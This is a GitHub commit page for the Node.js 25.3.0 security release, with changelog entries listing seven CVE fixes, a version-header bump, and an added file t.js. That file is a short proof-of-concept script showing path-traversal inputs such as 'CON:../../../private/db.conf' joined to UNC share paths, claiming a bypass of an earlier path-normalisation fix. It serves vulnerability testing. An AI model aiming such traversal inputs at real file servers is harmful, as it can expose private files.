Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 00d6cd8

Browse files
committed
2026-01-13, Version 25.3.0 (Current)
This is a security release. Notable changes: lib: * (CVE-2025-59465) add TLSSocket default error handler (RafaelGSS) nodejs-private/node-private#750 permission: * (CVE-2026-21636) add network check on pipe_wrap connect (RafaelGSS) nodejs-private/node-private#784 * (CVE-2025-55130) require full read and write to symlink APIs (RafaelGSS) nodejs-private/node-private#760 * (CVE-2025-55132) disable futimes when permission model is enabled (RafaelGSS) nodejs-private/node-private#748 src: * (CVE-2025-59466) rethrow stack overflow exceptions in async_hooks (Matteo Collina) nodejs-private/node-private#773 src,lib: * (CVE-2025-55131) refactor unsafe buffer creation to remove zero-fill toggle (Сковорода Никита Андреевич) nodejs-private/node-private#759 tls: * (CVE-2026-21637) route callback exceptions through error handlers (Matteo Collina) nodejs-private/node-private#790 PR-URL: nodejs-private/node-private#793
1 parent 4d6b55a commit 00d6cd8

File tree

4 files changed

+79
-4
lines changed

4 files changed

+79
-4
lines changed

CHANGELOG.md

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,8 @@ release.
4141
</tr>
4242
<tr>
4343
<td valign="top">
44-
<b><a href="doc/changelogs/CHANGELOG_V25.md#25.2.1">25.2.1</a></b><br/>
44+
<b><a href="doc/changelogs/CHANGELOG_V25.md#25.3.0">25.3.0</a></b><br/>
45+
<a href="doc/changelogs/CHANGELOG_V25.md#25.2.1">25.2.1</a><br/>
4546
<a href="doc/changelogs/CHANGELOG_V25.md#25.2.0">25.2.0</a><br/>
4647
<a href="doc/changelogs/CHANGELOG_V25.md#25.1.0">25.1.0</a><br/>
4748
<a href="doc/changelogs/CHANGELOG_V25.md#25.0.0">25.0.0</a><br/>

doc/changelogs/CHANGELOG_V25.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
</tr>
99
<tr>
1010
<td>
11+
<a href="#25.3.0">25.3.0</a><br/>
1112
<a href="#25.2.1">25.2.1</a><br/>
1213
<a href="#25.2.0">25.2.0</a><br/>
1314
<a href="#25.1.0">25.1.0</a><br/>
@@ -43,6 +44,40 @@
4344
* [io.js](CHANGELOG_IOJS.md)
4445
* [Archive](CHANGELOG_ARCHIVE.md)
4546

47+
<a id="25.3.0"></a>
48+
49+
## 2026-01-13, Version 25.3.0 (Current), @RafaelGSS
50+
51+
This is a security release.
52+
53+
### Notable Changes
54+
55+
lib:
56+
57+
* (CVE-2025-59465) add TLSSocket default error handler (RafaelGSS) <https://github.com/nodejs-private/node-private/pull/750>
58+
permission:
59+
* (CVE-2026-21636) add network check on pipe\_wrap connect (RafaelGSS) <https://github.com/nodejs-private/node-private/pull/784>
60+
* (CVE-2025-55130) require full read and write to symlink APIs (RafaelGSS) <https://github.com/nodejs-private/node-private/pull/760>
61+
* (CVE-2025-55132) disable futimes when permission model is enabled (RafaelGSS) <https://github.com/nodejs-private/node-private/pull/748>
62+
src:
63+
* (CVE-2025-59466) rethrow stack overflow exceptions in async\_hooks (Matteo Collina) <https://github.com/nodejs-private/node-private/pull/773>
64+
src,lib:
65+
* (CVE-2025-55131) refactor unsafe buffer creation to remove zero-fill toggle (Сковорода Никита Андреевич) <https://github.com/nodejs-private/node-private/pull/759>
66+
tls:
67+
* (CVE-2026-21637) route callback exceptions through error handlers (Matteo Collina) <https://github.com/nodejs-private/node-private/pull/790>
68+
69+
### Commits
70+
71+
* \[[`a6a74b89a7`](https://github.com/nodejs/node/commit/a6a74b89a7)] - **deps**: update c-ares to v1.34.6 (Node.js GitHub Bot) [#60997](https://github.com/nodejs/node/pull/60997)
72+
* \[[`5100614e26`](https://github.com/nodejs/node/commit/5100614e26)] - **deps**: update undici to 7.18.2 (Node.js GitHub Bot) [#61283](https://github.com/nodejs/node/pull/61283)
73+
* \[[`f0a8916887`](https://github.com/nodejs/node/commit/f0a8916887)] - **(CVE-2025-59465)** **lib**: add TLSSocket default error handler (RafaelGSS) [nodejs-private/node-private#750](https://github.com/nodejs-private/node-private/pull/750)
74+
* \[[`b4b887c5f7`](https://github.com/nodejs/node/commit/b4b887c5f7)] - **(CVE-2025-55132)** **lib**: disable futimes when permission model is enabled (RafaelGSS) [nodejs-private/node-private#748](https://github.com/nodejs-private/node-private/pull/748)
75+
* \[[`26be208039`](https://github.com/nodejs/node/commit/26be208039)] - **(CVE-2025-55130)** **lib,permission**: require full read and write to symlink APIs (RafaelGSS) [nodejs-private/node-private#760](https://github.com/nodejs-private/node-private/pull/760)
76+
* \[[`bdf5873d44`](https://github.com/nodejs/node/commit/bdf5873d44)] - **(CVE-2026-21636)** **permission**: add network check on pipe\_wrap connect (RafaelGSS) [nodejs-private/node-private#784](https://github.com/nodejs-private/node-private/pull/784)
77+
* \[[`0578e3e921`](https://github.com/nodejs/node/commit/0578e3e921)] - **(CVE-2025-59466)** **src**: rethrow stack overflow exceptions in async\_hooks (Matteo Collina) [nodejs-private/node-private#773](https://github.com/nodejs-private/node-private/pull/773)
78+
* \[[`4d6b55a6d1`](https://github.com/nodejs/node/commit/4d6b55a6d1)] - **(CVE-2025-55131)** **src,lib**: refactor unsafe buffer creation to remove zero-fill toggle (Сковорода Никита Андреевич) [nodejs-private/node-private#759](https://github.com/nodejs-private/node-private/pull/759)
79+
* \[[`c357a39e14`](https://github.com/nodejs/node/commit/c357a39e14)] - **(CVE-2026-21637)** **tls**: route callback exceptions through error handlers (Matteo Collina) [nodejs-private/node-private#790](https://github.com/nodejs-private/node-private/pull/790)
80+
4681
<a id="25.2.1"></a>
4782

4883
## 2025-11-17, Version 25.2.1 (Current), @aduh95

src/node_version.h

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -23,13 +23,13 @@
2323
#define SRC_NODE_VERSION_H_
2424

2525
#define NODE_MAJOR_VERSION 25
26-
#define NODE_MINOR_VERSION 2
27-
#define NODE_PATCH_VERSION 2
26+
#define NODE_MINOR_VERSION 3
27+
#define NODE_PATCH_VERSION 0
2828

2929
#define NODE_VERSION_IS_LTS 0
3030
#define NODE_VERSION_LTS_CODENAME ""
3131

32-
#define NODE_VERSION_IS_RELEASE 0
32+
#define NODE_VERSION_IS_RELEASE 1
3333

3434
#ifndef NODE_STRINGIFY
3535
#define NODE_STRINGIFY(n) NODE_STRINGIFY_HELPER(n)

t.js

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
const path = require("path")
2+
3+
console.log("Node.js UNC Path Device Name Bypass PoC");
4+
console.log("Version:", process.version);
5+
console.log("Date:", new Date().toISOString());
6+
console.log("");
7+
8+
console.log("[1] CVE-2025-27210 Fixed for regular paths:");
9+
console.log(" path.normalize(\"CON:../../secret.txt\")");
10+
console.log(" Result:", path.normalize("CON:../../secret.txt"));
11+
console.log(" SAFE - Device name prefixed");
12+
console.log("");
13+
14+
console.log("[2] UNC paths with path.join() - STILL VULNERABLE:");
15+
16+
function testExploit(testName, base, input, expectedSafe) {
17+
const result = path.join(base, input);
18+
const baseDepth = base.split("\\\\").length;
19+
const resultDepth = result.split("\\\\").length;
20+
const escaped = result.indexOf(base.split("\\\\").pop()) === -1;
21+
22+
console.log(`\n[${testName}]`);
23+
console.log(" Base Path:", base);
24+
console.log(" Malicious Input:", input);
25+
console.log(" Result Path:", result);
26+
console.log(" Expected Safe:", expectedSafe);
27+
console.log(" Actual Result:", result);
28+
console.log(" BYPASSED:", escaped || !result.startsWith(base.substring(0,10)) ? "YES" : "NO");
29+
}
30+
31+
testExploit("Test 1", "\\\\fileserver\\\\public\\\\uploads", "CON:../../../private/db.conf", "\\\\fileserver\\\\public\\\\uploads\\\\.\\\\CON:..\\\\..\\\\..\\\\private\\\\db.conf");
32+
testExploit("Test 2", "\\\\webapp\\\\data", "PRN:../../C$/admin", "\\\\webapp\\\\data\\\\.\\\\PRN:..\\\\..\\\\C$\\\\admin");
33+
testExploit("Test 3", "\\\\nas\\\\share", "AUX:../secret", "\\\\nas\\\\share\\\\.\\\\AUX:..\\\\secret");
34+
35+
console.log("\n[!] All device names allow path traversal in UNC paths!");
36+
console.log("[!] This bypasses CVE-2025-27210 protection!");
37+
38+
console.log('Path.join')
39+
console.log(path.join('/home/rafaelgss/', '../tmp'))

0 commit comments

Comments
 (0)